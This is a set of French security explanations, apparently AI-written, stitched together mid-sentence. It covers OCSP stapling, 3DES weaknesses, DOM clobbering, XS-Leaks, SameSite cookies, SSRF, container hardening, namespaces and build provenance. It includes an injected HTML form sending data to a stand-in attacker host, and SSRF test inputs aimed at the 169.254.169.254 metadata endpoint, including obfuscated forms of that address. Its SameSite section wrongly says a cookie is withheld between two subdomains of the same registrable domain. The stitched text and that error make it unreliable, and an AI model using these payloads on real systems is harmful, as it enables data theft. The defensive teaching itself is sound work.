REMAIN=$(( $(date -u -d "$NEXT" +%s) - $(date -u +%s) ))
(( REMAIN >= MIN_REMAIN_SECONDS )) \
|| { echo "WARN: fraicheur insuffisante (${REMAIN}s), conserve" >&2; exit 1; }
# 4. Remplacement atomique seulement maintenant
install -m 0644 "$TMP" "$OUT.new"
mv -f "$OUT.new" "$OUT" # rename() atomique sur le meme systeme de fichiers
echo "OK: staple renouvele, valide encore ${REMAIN}s"
```
Points de conception à noter : aucune opération destructive n'est faite avant validation complète, tout échec laisse l'état antérieur intact, le script est réexécutable sans effet de bord, l'URL du répondeur vient du certificat et non d'une saisie utilisateur, et aucun secret n'est manipulé ni journalisé.
Rechargement et service du fichier, nginx :
```nginx
ssl_stapling on;
ssl_stapling_verify on;
ssl_stapling_file /var/cache/ocsp/example.com.der; # prefetch hors bande
ssl_trusted_certificate /etc/ssl/live/example.com/fullchain.pem;
resolver 127.0.0.1 valid=300s ipv6=off;
resolver_timeout 5s;
```
Le prefetch par fichier corrige aussi le chargement paresseux de nginx, qui « performs lazy loading of OCSP responses, which means that for the first few web requests it is unable to add the OCSP response » (Wikipédia EN, « OCSP stapling », section Deployment). Avec must-staple, ces premières requêtes sans staple seraient autant de handshakes en échec.
Apache, en ag## Diagnostic préalable, une précision sur la prémisse
La suite `TLS_RSA_WITH_3DES_EDE_CBC_SHA` n'est utilisable qu'en **TLS 1.2 et versions antérieures** : TLS 1.3 a redéfini ses suites autour du chiffrement authentifié uniquement et n'inclut aucune suite RSA statique ni 3DES (connaissance technique générale, non confirmée par mes sources locales, à vérifier dans le RFC 8446, annexe B.4). La conserver n'améliore donc pas la compatibilité TLS 1.3 : cela maintient un chemin de repli faible sur TLS 1.2.
## Deux faiblesses de la suite
**1. Bloc de 64 bits, donc collisions de blocs exploitables (Sweet32, CVE-2016-2183)**
3DES chiffre par blocs de 64 bits (article Wikipédia anglophone « Triple DES », section Cipher detail). Cette taille rend le chiffrement vulnérable aux attaques par collision de blocs lorsque beaucoup de données sont chiffrées avec la même clé, et l'attaque Sweet32 a montré l'exploitation concrète dans TLS et OpenVPN (même article, section Security ; CVE-2016-2183, découverte le 24 août 2016 par K. Bhargavan et G. Leurent, INRIA).
Ordre de grandeur documenté : l'attaque complète sur les suites 3DES de TLS a nécessité $2^{36,6}$ blocs, soit environ 785 Go, mais une collision a été obtenue après environ $2^{20}$ blocs, en 25 minutes (même article). NIST impose d'ailleurs de ne pas dépasser $2^{20}$ blocs de 64 bits par lot de clés (SP 800-67 Rev. 2, cité dans le même article).
$$2^{20} \times 64\ \text{bits} = 2^{20} \times 8\ \text{octets} = 8\,388\,608\ \text{octets} \approx 8\ \text{Mo}$$
Autrement dit, la marge de sécurité est atteinte après quelques mégaoctets par clé de session, ce qui est trivialement dépassé par une session HTTPS de longue durée.
**2. Sécurité effective insuffisante et algorithme déprécié**
Malgré une clé nominale de 168 bits (3 × 56 bits), la sécurité effective plafonne à 112 bits à cause de l'attaque par rencontre au milieu, et tombe à 80 bits pour l'option de clés à deux clés, niveau que NIST considère comme insuffisant (article « Triple DES », sections Keying options et Security). La même source indique que NIST a déprécié 3DES en 2019 et en a interdit tous les usages, hors traitement de données déjà chiffrées, à la fin de 2023, et qu'OpenSSL ne l'inclut plus par défaut depuis la version 1.1.0 (août 2016), le classant « weak cipher ».
**Faiblesses complémentaires** (connaissance technique générale, non étayée par mes sources locales, à vérifier dans les RFC 7457, 7525 et 8996) : l'échange de clés `TLS_RSA` est un transport de clé RSA statique, donc **sans confidentialité persistante** (la compromission future de la clé privée du serveur permet de déchiffrer des sessions passées capturées), et il expose historiquement aux attaques de type Bleichenbacher/ROBOT ; le mode CBC avec HMAC-SHA-1 en MAC-then-encrypt expose à la famille Lucky13 et aux oracles de bourrage.
## Deux actions de politique
**Action 1, retrait explicite de la suite et durcissement de la liste TLS 1.2**
- Interdire `TLS_RSA_WITH_3DES_EDE_CBC_SHA` et, plus largement, toute suite à bloc de 64 bits, tout échange RSA statique et tout mode CBC, par une règle de politique formulée en positif : en TLS 1.2, n'autoriser que ECDHE + AEAD (AES-GCM, ChaCha20-Poly1305) ; en TLS 1.3, laisser les suites par défaut.
- Séquence de mise en œuvre sûre, non destructive : (1) mesurer d'abord l'usage réel via les journaux de négociation (version + suite + user agent) sur une fenêtre représentative, par exemple 30 jours, afin d'identifier les clients qui ne négocient que 3DES ; (2) appliquer le changement sur un environnement de préproduction, puis en production avec configuration versionnée et **retour arrière préparé** (sauvegarde du fichier de configuration et procédure de rechargement documentée).
Exemple de configuration Nginx, à adapter et à tester, je ne l'ai pas exécutée :
```nginx
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers off;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305;
ssl_session_tickets off;
```
Vérification après déploiement, commandes à exécuter par vos soins :
```bash
# La négociation 3DES doit ECHOUER (handshake failure attendu)
openssl s_client -connect exemple.tld:443 -tls1_2 -cipher 'DES-CBC3-SHA' </dev/null
# Inventaire complet des suites offertes
testssl.sh --protocols --cipher-per-proto exemple.tld:443
```
Critère de succès : aucune suite 3DES, aucune suite CBC, aucune suite RSA statique acceptée ; TLS 1.2 et 1.3 fonctionnels avec ECDHE + AEAD.
**Action 2, régime de dérogation borné plutôt que maintien silencieux**
Si un client patrimonial impose réellement 3DES, ne pas le laisser dans la politique générale, mais :
- créer une **dérogation nominative, datée et à expiration** (par exemple 90 jours, renouvellement soumis à validation), rattachée à un propriétaire métier identifié ;
- cantonner ce flux à un point d'entrée dédié (nom d'hôte ou port distinct, hors de la surface principale), isolé du reste du service ;
- imposer une **limite de volume par clé de session** inférieure au seuil NIST de $2^{20}$ blocs de 64 bits (SP 800-67 Rev. 2, cité dans l'article « Triple DES »), obtenue par renégociation ou par plafonnement de la durée et de la taille des sessions ;
- journaliser chaque handshake dérogatoire pour piloter la sortie, sans jamais journaliser de secret ni de matériel cryptographique ;
- inscrire la date de retrait définitif dans le plan de remédiation.
## Risques et limites
- **Risque de rupture de compatibilité** : le retrait de 3DES coupera les très anciens clients qui n'offrent aucune suite AEAD. C'est précisément pourquoi l'inventaire précède le changement.
- **Aucune configuration n'est « sans risque »** : le durcissement TLS ne traite ni les vulnérabilités applicatives, ni la gestion des clés privées, ni la validation de chaîne côté client. Il améliore la confidentialité et l'intégrité du transport, pas l'authentification applicative ni la disponibilité.
- **Portée de mes sources** : les éléments chiffrés sur 3DES et Sweet32 proviennent de l'article encyclopédique local « Triple DES » (Wikipédia anglophone), qui cite CVE-2016-2183 et NIST SP 800-67 Rev. 2. Je n'ai pas consulté directement ces documents primaires ; pour un dossier de conformité, référez-vous aux textes originaux (NIST SP 800-131A Rev. 2, SP 800-67 Rev. 2, RFC 7525/8996) plutôt qu'à cette synthèse.
- Je n'ai exécuté aucune des commandes ci-dessus et je n'ai pas accès à votre configuration : les résultats attendus décrits sont des prévisions à confirmer par vos tests.- **Racine** : autorisée et exécutée grâce au `nonce="X"`. - **Enfant** : autorisé depuis l’hôte non listé s’il est créé dynamiquement par le script racine de confiance ; il serait bloqué s’il était inséré par l’analyseur HTML, par exemple via `document.write`. - **Effet de `https:`** : ignoré pour la sélection des scripts par un navigateur prenant en charge `'strict-dynamic'` ; il sert seulement de repli pour les navigateurs anciens. - **Verdict** : chargement autorisé dans le cas décrit.
**Attaque**
L’attaquant injecte, avant le formulaire légitime, un formulaire participant à l’accès nommé de `document.forms` :
```html
<form name="config" action="https://attaquant.example/collecte"></form>
```
Ainsi, `document.forms.config` peut désigner ce formulaire injecté et `document.forms.config.action` renvoyer l’URL de l’attaquant. Un élément non-`form` portant seulement `name="config"` ne suffit pas, car `document.forms` ne contient que les formulaires.
**Primitive**
**DOM clobbering** : collision de noms dans un accès DOM nommé, ici la propriété `config` de la collection `document.forms`.
**Conséquence**
Si `action` alimente une soumission, une navigation ou une requête, l’attaquant peut provoquer une redirection ou l’envoi de données vers une destination qu’il contrôle.
**Correction**
- Assainir strictement tout HTML non fiable.
- Éviter les propriétés DOM nommées comme `document.forms.config`.
- Utiliser une référence explicite, vérifier l’unicité et le type de l’élément, puis autoriser précisément la destination :
```javascript
const matches = document.querySelectorAll('#config-form');
if (
matches.length !== 1 ||
!(matches[0] instanceof HTMLFormElement)
) {
throw new Error('Formulaire de configuration invalide');
}
const form = matches[0];
const action = new URL(form.getAttribute('action') ?? '', document.baseURI);
const routesAutorisees = new Set(['/config/save']);
if (
action.origin !== window.location.origin ||
!routesAutorisees.has(action.pathname)
) {
throw new Error('Destination non autorisée');
}
```- **Classe :** **XS-Leak** (fuite d’état cross-site), plus précisément un oracle d’existence de compte par inclusion de ressource. - **Canal :** canal auxiliaire fondé sur les métadonnées observables d’un `<img>` cross-origin : `onload`/`onerror`, dimensions intrinsèques (`naturalWidth`/`naturalHeight`) ou temps de chargement. Une différence de taille seule ne produit pas `onerror` si les deux réponses sont des images valides. - **Protection :** rendre les réponses indistinguables — même statut, type MIME, image, dimensions, longueur, redirections et comportement de cache — et éviter les cookies ambiants avec `SameSite=Lax` ou `Strict`. Refuser aussi les inclusions cross-site via Fetch Metadata. - **Isolation :** `Cross-Origin-Resource-Policy: same-origin` sur la ressource sensible, idéalement servie depuis une origine dédiée sans cookie partagé. COOP/COEP seuls ne neutralisent pas cet oracle.
### Relation
Les sites `auth.lanxas.com` et `evil.lanxas.com` partagent le même **domaine enregistrable** (`lanxas.com`), mais sont des sous-domaines distincts. Le cookie `SameSite=Strict` est restreint au contexte de `auth.lanxas.com`.
### Envoi potentiel
- **Scénario** : Une requête HTTP de `evil.lanxas.com` vers `auth.lanxas.com` (ex: formulaire malveillant).
- **Comportement** : Le navigateur **n'envoie pas** le cookie `SameSite=Strict` car la requête est initiée depuis un site différent (`evil.lanxas.com` ≠ `auth.lanxas.com`).
### Menace
- **Attaque CSRF bloquée** : `SameSite=Strict` empêche l'exploitation de sessions authentifiées via des requêtes intersites.
- **Risque résiduel** :
- Compromission directe de `evil.lanxas.com` (ex: phishing, malware).
- Vulnérabilités côté serveur (ex: injection SQL, XSS sur `auth.lanxas.com`).
### Correction
1. **Renforcer les sous-domaines** :
```http
Set-Cookie: sessionId=123; SameSite=Strict; Secure; HttpOnly; Domain=auth.lanxas.com
```
2. **Jetons anti-CSRF** :
- Générer un token unique côté serveur pour chaque formulaire critique.
- Valider le token avant toute action sensible.
3. **Isolation des sous-domaines** :
- Héberger `auth.lanxas.com` sur une infrastructure distincte.
- Bloquer les requêtes intersites via CSP :
```http
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'
```
4. **Contrôle d'accès** :
- Limiter les privilèges de `evil.lanxas.com` (moindre privilège).
- Désactiver les services inutiles sur les sous-domaines non critiques.
### Vérification cryptographique
Aucune fuite de cookie n'est possible via `SameSite=Strict` dans ce scénario. La protection repose sur la séparation stricte des origines (RFC 6265bis).## Faille **SSRF par chaîne de redirections, la validation ne portant que sur l'URL initiale.** Le filtre valide l'entrée à l'instant $t_0$, puis la bibliothèque HTTP suit jusqu'à 5 sauts sans revalidation : c'est un défaut de type *time-of-check / time-of-use* appliqué au contrôle réseau. L'attaquant fournit une URL publique légitime, entièrement sous son contrôle, dont le serveur renvoie un `302` vers un second saut visant `169.254.169.254`. Deux points aggravants : - `169.254.169.254` appartient à `169.254.0.0/16`, plage réservée aux adresses de portée lien (link-local, RFC 3927) et non routable hors du lien (Wikipédia FR, article « Automatic Private Internet Protocol Addressing »). Une requête vers cette adresse depuis une instance cloud atteint donc un service local à l'hôte : c'est le point d'accès de métadonnées, cible classique du SSRF, susceptible de livrer des identifiants d'accès (Wikipédia EN, article « Server-side request forgery » : « common destinations include internal networks, localhost services, and cloud metadata endpoints »). - La conséquence documentée de ce schéma est la fuite d'identifiants cloud : l'incident Capital One de 2019 est décrit comme un SSRF ayant exposé une clé d'identification AWS, avec exposition de données de l'ordre de 100 millions de personnes aux États-Unis (même article). Le point exact de la vulnérabilité que vous décrivez est donc l'absence de contrôle sur **chaque** cible intermédiaire, la prévention devant explicitement traiter la résolution de noms, les redirections et le DNS rebinding (Wikipédia EN, « Server-side request forgery », section *Causes and Prevention*). ## Trois corrections **1. Désactiver le suivi automatique et revalider à chaque saut.** Mettez `follow_redirects=False`, puis bouclez vous-même : pour chaque `Location` reçu, réappliquez la validation complète (schéma, hôte, résolution DNS, adresse IP obtenue) avant d'émettre la requête suivante. Un compteur borné (par exemple 3) et un refus par défaut sur schéma non `https` (ou `http`) bloquent aussi les schémas déviants du type `file://`, `gopher://`, `dict://`, dont l'usage en SSRF est documenté (même article, section *Overview*). **2. Valider l'adresse IP réellement contactée, pas le nom d'hôte, et l'épingler.** Résolvez le nom, rejetez par liste de refus toute adresse non publique (`169.254.0.0/16`, `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `::1`, `fe80::/10`, `fc00::/7`, plus les adresses IPv4 mappées en IPv6), puis **connectez-vous à l'IP validée** et non au nom, afin d'éliminer la fenêtre de DNS rebinding entre le contrôle et la connexion. Combinez avec une liste blanche de domaines autorisés lorsque le cas d'usage le permet : c'est la mesure recommandée en priorité, la validation d'entrée seule restant insuffisante face aux redirections (même article, *Causes and Prevention*). **3. Confiner au niveau réseau, indépendamment du code applicatif.** Faites sortir ces requêtes par un mandataire dédié ou un espace réseau isolé, avec des règles de pare-feu en sortie refusant par défaut et interdisant explicitement la plage link-local et les plages internes. La ségrégation réseau est la mesure recommandée quand le serveur doit joindre des domaines arbitraires (même article). Côté cloud, exigez la version authentifiée du service de métadonnées si votre fournisseur en propose une, et retirez à l'instance les droits qu'elle n'a pas besoin de porter, de sorte qu'un identifiant volé ait une valeur minimale. ## Contrôles de non-régression à écrire - Un serveur de test qui renvoie `302 Location: http://169.254.169.254/` au 2e saut : la requête doit être refusée, sans qu'aucune socket ne soit ouverte vers cette adresse. - Variantes d'obfuscation de l'adresse à tester : décimal (`2852039166`), octal, hexadécimal, `[::ffff:169.254.169.254]`, et un nom DNS résolvant vers `169.254.169.254`. - Un nom DNS à TTL très court alternant IP publique et IP interne, pour vérifier l'épinglage. ## Limites et risques résiduels Je n'ai pas accès à votre code, ces corrections sont donc formulées au niveau du principe et doivent être adaptées à votre pile HTTP réelle, puis testées. Aucune de ces mesures ne rend le dispositif « sûr » de façon absolue : subsistent notamment les services internes légitimement publics par DNS mais sensibles, les mandataires mal configurés, les protocoles non HTTP acceptés en aval, et les erreurs de configuration du pare-feu. La liste des plages ci-dessus est fondée sur la définition RFC 3927 pour le link-local (Wikipédia FR, « Automatic Private Internet Protocol Addressing ») ; pour les autres plages, vérifiez la liste faisant autorité côté RFC 5735 / RFC 6890 avant mise en production, je ne l'ai pas relue ici article par article.
## 1. Diagnostic et modèle de menace
L'énoncé pose que le conteneur **doit être traité comme compromis** : l'attaquant exécute du code arbitraire avec les droits du process applicatif. L'objectif n'est donc pas d'empêcher l'exécution de code, c'est trop tard, mais de rendre inutilisables les trois chemins d'escalade classiques :
1. évasion vers l'hôte (montage, `pivot_root`, namespaces, chargement de module, `/proc` hôte) ;
2. escalade de privilèges locale (binaire setuid, file capabilities, `no_new_privs` absent) ;
3. persistance et mouvement latéral (réécriture du binaire ou de la configuration, exfiltration réseau).
Le besoin fonctionnel réel est minuscule : un `bind`/`listen` sur un port non privilégié, des lectures de fichiers, des `connect` sortants. Tout le reste peut être retiré.
**Point de méthode important** : les quatre couches demandées ne sont pas interchangeables. Les capabilities et seccomp filtrent des *opérations et des numéros d'appel système*, pas des *chemins* ni des *adresses IP* (seccomp ne peut pas déréférencer les pointeurs passés en argument). Le contrôle des chemins relève du filesystem et d'un LSM, le contrôle des destinations sortantes relève du pare-feu ou de la NetworkPolicy. Ne comptez jamais sur seccomp pour restreindre « quels fichiers » ou « quelles IP ».
## 2. Décision recommandée : cartographie besoin vers privilège
| Besoin fonctionnel | Privilège réellement requis | Verdict |
|---|---|---|
| `bind`/`listen` sur TCP 8080 | Aucun : `CAP_NET_BIND_SERVICE` n'est nécessaire que pour les ports < 1024 | Aucune capability |
| Lire un fichier de configuration | Aucun, si le mode et le propriétaire sont corrects | Aucune capability (`CAP_DAC_READ_SEARCH` serait un contournement, à refuser) |
| Connexions TCP/UDP sortantes, DNS | Aucun (`CAP_NET_RAW` ne sert qu'aux sockets brutes, ICMP, sniffing) | Aucune capability, `CAP_NET_RAW` explicitement retiré |
| Écrire des logs | Aucun, sortie sur stdout/stderr | Aucune capability |
| ptrace, débogage | `CAP_SYS_PTRACE` | Refusé, plus blocage seccomp |
| Montage, démontage, `pivot_root` | `CAP_SYS_ADMIN` | Refusé, plus blocage seccomp |
**Conclusion : bounding set vide, `drop ALL`, aucune capability ajoutée, `runAsNonRoot`, root filesystem en lecture seule, seccomp en liste blanche.** C'est le cas favorable où la fonction n'exige littéralement aucun privilège.
## 3. Politique de capabilities
```yaml
capabilities:
drop: ["ALL"]
add: [] # volontairement vide
```
Précisions opérationnelles :
- `drop: ALL` doit vider le **bounding set**, pas seulement les ensembles effectif et permis. Sinon un binaire porteur de file capabilities peut réacquérir un privilège. Vérifiez l'image : `getcap -r / 2>/dev/null` doit ne rien renvoyer.
- Aucune capability ambiante, aucun `--privileged`, aucun `--cap-add`, aucun accès à `/dev` hôte, aucun `--device`.
- Si le port devait un jour être 80 ou 443, **n'ajoutez pas** `CAP_NET_BIND_SERVICE` : préférez le sysctl `net.ipv4.ip_unprivileged_port_start` sur l'hôte ou un service qui redirige, ce qui garde un bounding set vide. Ici, 8080 ne pose pas la question.
- Les sysctls réseau et noyau ne doivent pas être modifiables depuis le conteneur (pas de `--sysctl` non nécessaire, `/proc/sys` en lecture seule, voir section 5).
## 4. Utilisateur
```yaml
securityContext: # niveau pod
runAsNonRoot: true
runAsUser: 10001
runAsGroup: 10001
fsGroup: 10001 # seulement si un volume inscriptible existe
supplementalGroups: []
seccompProfile:
type: Localhost
localhostProfile: profiles/http-8080-strict.json
```
```yaml
securityContext: # niveau conteneur
allowPrivilegeEscalation: false
privileged: false
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 10001
capabilities: { drop: ["ALL"] }
```
- `allowPrivilegeEscalation: false` positionne `PR_SET_NO_NEW_PRIVS`, qui neutralise setuid et les file capabilities pour tous les descendants. C'est la protection la plus rentable de la liste.
- UID/GID **numériques** et non nuls dans l'image (`USER 10001:10001` dans le Dockerfile). Un `USER appuser` sans entrée `/etc/passwd` cohérente casse `runAsNonRoot` selon les runtimes ; l'UID numérique évite ce piège.
- L'UID d'exécution ne doit **posséder aucun** fichier de l'image, en particulier pas son propre binaire ni la configuration. Propriétaire `root:10001`, mode `0550` pour le binaire, `0440` pour la configuration. Un attaquant qui possède le binaire qu'il exécute obtient la persistance gratuitement.
- Idéalement, activez le remapping d'espace de noms utilisateur au niveau du runtime, afin que même une évasion partielle ne corresponde pas à root sur l'hôte. Cela reste une couche supplémentaire, pas un substitut.
## 5. Filesystem
Principe : **rien d'inscriptible et exécutable en même temps, rien d'inscriptible et persistant.**
| Chemin | Montage | Options | Justification |
|---|---|---|---|
| `/` | image | `readOnlyRootFilesystem: true` | bloque l'écrasement du binaire et le dépôt d'outils |
| `/etc/app/config.yaml` | ConfigMap ou Secret, `readOnly: true` | `mode 0440`, propriétaire `root:10001` | lecture seule, non réécrivable par l'appli |
| `/tmp` | `em## 1. Privilège interne
Dans le conteneur, le processus est **root complet du point de vue du namespace utilisateur** : UID effectif $0$, et il détient l'ensemble des capacités (dont `CAP_SYS_ADMIN`, `CAP_CHOWN`, `CAP_NET_ADMIN`) **dans ce user namespace et ses descendants uniquement**. Il peut donc créer des utilisateurs internes, exécuter un gestionnaire de paquets, monter des systèmes de fichiers dans son mount namespace, changer le hostname de son UTS namespace, `chown` les fichiers dont le propriétaire appartient à la plage mappée.
Fondement : un user namespace « maintient une table de correspondance qui convertit les UID/GID de la perspective interne du conteneur vers la perspective globale de l'hôte », ce qui permet à un processus « de posséder les privilèges root (UID 0) dans le conteneur, tout en correspondant mathématiquement à un identifiant non privilégié et restreint sur la machine hôte, par exemple UID 100000 » (Wikipedia EN, *Linux namespaces*, section « User ID (user) »). Par ailleurs, « un utilisateur possédant la capacité `CAP_SYS_ADMIN` dans le user namespace propriétaire est autorisé à effectuer des actions administratives sur ce namespace » (même article, section « Administrative hierarchy »).
## 2. Identité hôte
Vu du noyau et du système de fichiers de l'hôte, ce même processus est **l'utilisateur non privilégié UID 100000**, sans aucune capacité sur les objets de l'espace initial. Les fichiers qu'il crée apparaissent sur l'hôte avec le propriétaire $100000$, et un `root` interne devenu UID $1000$ interne apparaît à $100000 + 1000 = 101000$ si la plage est contiguë selon la convention usuelle de décalage additif.
Cette translation additive correspond à la pratique recommandée : « les auteurs de systemd recommandent que les systèmes de virtualisation au niveau du système d'exploitation allouent 65536 ($2^{16}$) UID par conteneur, et les mappent en ajoutant un multiple entier de $2^{16}$ » (Wikipedia EN, *User identifier*, section « Conventions »). Précision honnête : la valeur $100000$ de votre énoncé n'est pas un multiple de $2^{16} = 65536$, c'est un décalage décimal choisi par l'opérateur, parfaitement valide mais hors de cette convention.
| Plan d'observation | Identité | Capacités effectives |
|---|---|---|
| Intérieur du conteneur | UID $0$, root | jeu complet dans le namespace |
| Hôte | UID $100000$ | aucune sur l'espace initial |
## 3. Bénéfice
Le bénéfice est la **réduction du rayon d'impact d'une évasion** : « si une vulnérabilité permet au processus root du conteneur de s'échapper du namespace, le système hôte le traitera toujours comme l'identifiant utilisateur restreint, limitant sévèrement les dégâts potentiels » (Wikipedia EN, *Linux namespaces*, section « User ID (user) »). S'y ajoute le bénéfice opérationnel principal : l'exécution de conteneurs **sans privilège superutilisateur sur l'hôte**, puisque les user namespaces « ont permis la création de conteneurs non privilégiés, des conteneurs pouvant s'exécuter en toute sécurité sans nécessiter de privilège superutilisateur (root) sous-jacent sur le système hôte » (même article, section « History »). Concrètement : compatibilité avec les images attendant root, sans confier root de l'hôte à l'utilisateur du conteneur.
## 4. Limites
Le mappage est une **atténuation, pas une frontière de sécurité absolue**. Les limites que je peux étayer :
- **Le root de l'hôte domine tout.** « Parce que le user namespace initial (celui de l'hôte) est l'ancêtre de tous les autres, l'utilisateur root de l'hôte conserve intrinsèquement le contrôle administratif sur tous les types de namespaces de l'ensemble du système » (Wikipedia EN, *Linux namespaces*, section « Administrative hierarchy »). L'isolation ne protège donc pas l'intérieur du conteneur contre l'hôte, seulement l'hôte contre l'intérieur, et de façon partielle.
- **Surface d'attaque noyau partagée.** Le noyau reste unique et commun, ce qui est la nature même de la virtualisation au niveau du système d'exploitation. Une faille dans le code noyau atteignable par un utilisateur non privilégié reste atteignable depuis le conteneur, et une élévation dans l'espace initial annule le bénéfice du mappage. Je signale ceci comme un principe d'architecture, pas comme une citation d'article : l'encyclopédie locale décrit le partage du noyau (Wikipedia EN, *OS-level virtualization*, cité par renvoi dans *Linux namespaces*), mais je n'ai pas lu de passage énumérant les CVE concernées, et je n'en citerai donc aucune.
- **Le mappage ne remplace ni les cgroups ni le filtrage d'appels système.** « Les cgroups dictent quelle quantité de ressources d'un système un processus peut utiliser, tandis que les namespaces dictent ce qu'un processus est autorisé à voir et avec quoi il peut interagir » (Wikipedia EN, *Linux namespaces*, introduction). Un UID hôte non privilégié n'empêche donc ni l'épuisement CPU, mémoire ou descripteurs, ni l'accès à un socket hôte monté par erreur dans le conteneur.
- **Collisions et fuites d'identité entre conteneurs.** Si deux conteneurs partagent la même plage hôte, leurs « root » sont le même UID $100000$ sur l'hôte : l'isolation inter-conteneurs sur le système de fichiers partagé disparaît. Les plages doivent être disjointes, d'où les allocations réservées documentées, par exemple « snapd mappe les UID et GID dans la plage 524288-589823 » et « systemd-nspawn utilise la plage 524288-1879048191 » (Wikipedia EN, *User identifier*, section « Conventions »).
- **Conséquences fonctionnelles.** Les fichiers écrits sur des volumes partagés portent des UID décalés côté hôte, ce qui casse les correspondances de propriété avec les utilisateurs réels de l'hôte ; et un UID interne non couvert par la plage mappée n'a pas d'équivalent hôte. Ce point découle directement du mécanisme de table de correspondance décrit dans *Linux namespaces*, section « User ID (user) ».
**Formulation de synthèse à retenir : root interne, sujet non privilégié UID $100000$ à l'extérieur ; le gain est la limitation des dégâts après évasion et l'absence de besoin de root hôte, la limite est que le noyau reste partagé et que le root de l'hôte, ancêtre de tous les namespaces, conserve autorité totale.**## Cadre et limite de sourçage
Je ne dispose pas d'article sur SLSA dans l'encyclopédie locale (recherche « SLSA supply chain levels software artifacts provenance » : aucun article trouvé). Les verdicts ci-dessous sont donc dérivés **par pure logique** des données de l'énoncé et des principes généraux d'intégrité et d'authenticité, non d'une citation de la spécification SLSA. Le seul point appuyé sur une source locale est la portée d'une concordance d'empreinte (article *Résistance aux collisions*, Wikipédia FR).
**Hypothèses explicites** (à confirmer avant toute décision réelle) :
- H1 : l'attestation de $B$ est signée par une clé vérifiable et sa signature vérifie effectivement.
- H2 : le champ `subject.digest` de cette attestation vaut exactement $D$, avec le même algorithme de hachage que celui du déploiement.
- H3 : la politique d'admission exige une provenance émanée d'un builder de la liste d'approbation.
- H4 : il existe bien **deux** documents de provenance portant sur $D$, l'un émis par $B$, l'autre par $X$.
## Les quatre verdicts
| Contrôle | Verdict | Fondement |
|---|---|---|
| **Digest** | **CONCORDANT** (intégrité de l'artefact vérifiée) | Le digest déployé est égal au digest attesté, $D_{\text{déployé}} = D_{\text{attesté}}$ |
| **Source** | **ÉTABLIE par l'attestation de $B$ uniquement**, non établie par la provenance présentée | $R$ et $C$ ne sont liés à $D$ que dans le document signé par $B$ ; le document de $X$ n'est pas digne de confiance |
| **Builder** | **ÉCHEC** | $X \notin \{\text{builders approuvés}\}$ ; l'authenticité du producteur n'est pas satisfaite par la provenance présentée |
| **Admission** | **REFUS** (fail closed), et **ouverture d'incident** | Un contrôle obligatoire est en échec ; de plus la divergence de provenance sur un même digest est une anomalie non expliquée |
## Justification détaillée
**1. Digest, concordant mais à formuler correctement.** L'égalité des empreintes n'est pas une preuve mathématique absolue d'identité des artefacts, puisque des collisions existent nécessairement pour toute fonction de hachage à sortie de taille fixe (Wikipédia FR, *Résistance aux collisions*). C'est une **assurance cryptographique très forte sous les hypothèses de sécurité de la fonction** utilisée. Ce contrôle établit l'**intégrité** de l'artefact relativement au sujet attesté, rien de plus.
**2. Source : ne pas confondre ce que prouve chaque document.** Le lien $D \rightarrow (R, C)$ n'existe que dans l'attestation de $B$. Sous H1 et H2, ce lien est cryptographiquement engagé par un émetteur approuvé, donc la source est établie *par ce document*. En revanche, la provenance **présentée au déploiement** provient de $X$ : elle ne peut pas servir à établir $R$ et $C$, car un émetteur non approuvé peut déclarer n'importe quel dépôt et n'importe quel commit. Il faut donc distinguer trois choses : la **vérité** de l'assertion « $D$ vient de $R@C$ », la **preuve** dont on dispose (l'attestation de $B$), et son **admissibilité** selon la politique (qui exige un builder approuvé pour la provenance présentée).
**3. Builder : échec net, aucune marge.** L'appartenance de $X$ à la liste d'approbation est la condition que la politique impose, et elle est fausse. Un nombre fini de vérifications réussies par ailleurs (digest, format, signature de $X$ techniquement valide) ne compense pas ce manquement : la propriété exigée est universelle sur les émetteurs admis.
**4. Admission : refus, et traitement en incident.** Deux raisons cumulatives :
- Contrôle obligatoire en échec (builder), donc refus par défaut.
- **Divergence de provenance sur un même sujet $D$.** Trois explications au moins, non discriminables avec les seules données de l'énoncé : (a) build reproductible légitime, $X$ a reconstruit le même artefact à partir de $R@C$ ; (b) provenance forgée ou rejouée par $X$, réutilisant le digest légitime pour se faire admettre ; (c) mauvaise configuration du pipeline qui attache la provenance de $X$ à un artefact issu de $B$. Le cas (b) est un scénario d'attaque de chaîne d'approvisionnement, donc l'anomalie doit être traitée avant, et non après, une éventuelle admission.
Cas de politique alternatif, à énoncer explicitement pour ne pas induire en erreur : si la politique était rédigée comme « admettre $D$ dès lors qu'**il existe** une attestation valide d'un builder approuvé pour $D$ », alors $D$ pourrait être admis en ignorant le document de $X$. Ce n'est pas la lecture retenue ici (H3), et je la signale comme **hypothèse de politique**, pas comme fait. Même dans ce cas, la divergence resterait un signal d'incident à instruire.
## Contrôles à exécuter pour lever l'indétermination
1. Vérifier la signature de l'attestation de $B$ et la chaîne de confiance jusqu'à une racine détenue hors de portée d'un attaquant du pipeline.
2. Comparer algorithme et valeur du digest, champ par champ, entre attestation et artefact réellement déployé (pas seulement la chaîne affichée).
3. Contrôler l'anti-rejeu : horodatage, identifiant d'invocation de build, unicité de l'attestation, présence dans un journal de transparence.
4. Récupérer la provenance de $X$ et confronter ses champs $R$ et $C$ à ceux de $B$ ; toute divergence sur $R$ ou $C$ aggrave le verdict.
5. Si l'hypothèse (a) est invoquée, exiger une **reconstruction reproductible indépendante** à partir de $R@C$ aboutissant à $D$, réalisée par un builder approuvé.
## Risques résiduels
Aucune de ces vérifications ne rend le déploiement « sûr » au sens absolu. Risques persistants : compromission de la clé de signature de $B$, compromission du dépôt $R$ en amont du commit $C$ (l'attestation ne dit rien de la qualité du code), dépendances transitives non couvertes par l'attestation, et attaque sur la fonction de hachage employée si celle-ci est obsolète.## 1. Propriété échouée
**La propriété violée est la reproductibilité binaire du build (déterminisme bit à bit), pas l'intégrité.**
Distinction à tenir strictement :
| Propriété | État dans votre cas | Justification |
|---|---|---|
| Déterminisme / reproductibilité | **Échouée** | même entrée (commit + verrou de dépendances) → sorties de digests différents |
| Intégrité de chaque artefact | Non concernée | chaque artefact peut être intact et correctement haché |
| Authenticité (origine) | Non concernée | une signature valide reste valide sur chaque artefact distinct |
